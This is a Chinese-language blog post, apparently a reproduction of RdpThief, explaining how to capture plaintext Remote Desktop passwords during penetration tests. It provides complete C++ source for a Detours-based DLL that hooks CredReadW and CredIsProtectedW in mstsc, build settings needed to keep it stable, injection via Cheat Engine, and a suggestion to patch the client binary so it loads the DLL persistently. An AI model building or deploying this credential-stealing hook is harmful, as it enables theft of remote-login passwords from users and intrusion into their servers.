获取RDP连接中密码的方法

前言

渗透过程中,当发现RDP连接中有记录,但密码未保存,可通过HOOK方式截取明文密码,参考RdpThief,本文是一篇利用复现。

实践

工具
API Monitor
Cheat Engine6.7
RdpThief

系统
windows 7 32-

将API Monitor,附加选择mstsc进程,如图所示:


监听RDP进程

RDP点击连接,并查看API Monitor列表


RDP连接

如果未监听到,请在左侧API帅选器中勾选如图


抓取RDP调用API过程

可以看到,连接IP出现在CredReadW的调用中,直接HOOK这个位置就可以获取连接IP,方法很多可以E语言实现比较简单,这里我们参考RdpThief源码,使用Detours
框架来实现HOOK。

Detours目录

首先编译框架,利用VS自带工具VsDevCmd.bat,cd到Detours的src目录
使用nmake命令编译,并安装框架


编译安装框架
代码

这里直接使用MessageBoxW将HOOK的结果弹出,查看效果。

#include "stdafx.h"
#include <Windows.h>
#include <detours.h>
#include <dpapi.h>
#include <wincred.h>
#include <strsafe.h>
#include <subauth.h>
#define SECURITY_WIN32 
#include <sspi.h>
#pragma comment(lib, "crypt32.lib")
#pragma comment(lib, "Advapi32.lib")
#pragma comment(lib, "Secur32.lib")

static BOOL(WINAPI *OriginalCredReadW)(LPCWSTR TargetName, DWORD Type, DWORD Flags, PCREDENTIALW *Credential) = CredReadW;
BOOL HookedCredReadW(LPCWSTR TargetName, DWORD Type, DWORD Flags, PCREDENTIALW *Credential)
{
    MessageBoxW(NULL, TargetName,L"Hostname",0);
    return OriginalCredReadW(TargetName, Type, Flags, Credential);
}

static BOOL(WINAPI *OriginalCredIsProtectedW)(LPWSTR pszProtectedCredentials, CRED_PROTECTION_TYPE *pProtectionType) = CredIsProtectedW;
BOOL HookedCredIsProtectedW(LPWSTR pszProtectedCredentials, CRED_PROTECTION_TYPE *pProtectionType)
{
    MessageBoxW(NULL, pszProtectedCredentials, L"Password", 0);
    return OriginalCredIsProtectedW(pszProtectedCredentials, pProtectionType);
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  dwReason, LPVOID lpReserved)
{
    if (DetourIsHelperProcess()) {
        return TRUE;
    }

    if (dwReason == DLL_PROCESS_ATTACH) {
        DetourRestoreAfterWith();
        DetourTransactionBegin();
        DetourUpdateThread(GetCurrentThread());
        DetourAttach(&(PVOID&)OriginalCredReadW, HookedCredReadW);
        DetourAttach(&(PVOID&)OriginalCredIsProtectedW, HookedCredIsProtectedW);
        DetourTransactionCommit();
    }
    else if (dwReason == DLL_PROCESS_DETACH) {
        DetourTransactionBegin();
        DetourUpdateThread(GetCurrentThread());
        DetourDetach(&(PVOID&)OriginalCredReadW, HookedCredReadW);
        DetourDetach(&(PVOID&)OriginalCredIsProtectedW, HookedCredIsProtectedW);
        DetourTransactionCommit();

    }
    return TRUE;
}

这2个坑点,第1需要选择多线程编译模式,第2编译要用Release否则注入后程序会崩溃。


多线程/MT
Release

编译后,使用Cheat Engine将DLL注入mstsc进程,真实项目中,可通过PE修改方式直接使mstsc原生调用DLL。


注入DLL
获取服务器地址
获取服务器密码

参考链接

https://mp.weixin.qq.com/s/4CRBFqDLzjyziNkz17-c5A

https://www.mdsec.co.uk/2019/11/rdpthief-extracting-clear-text-credentials-from-remote-desktop-clients/

https://github.com/0x09AL/RdpThief

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容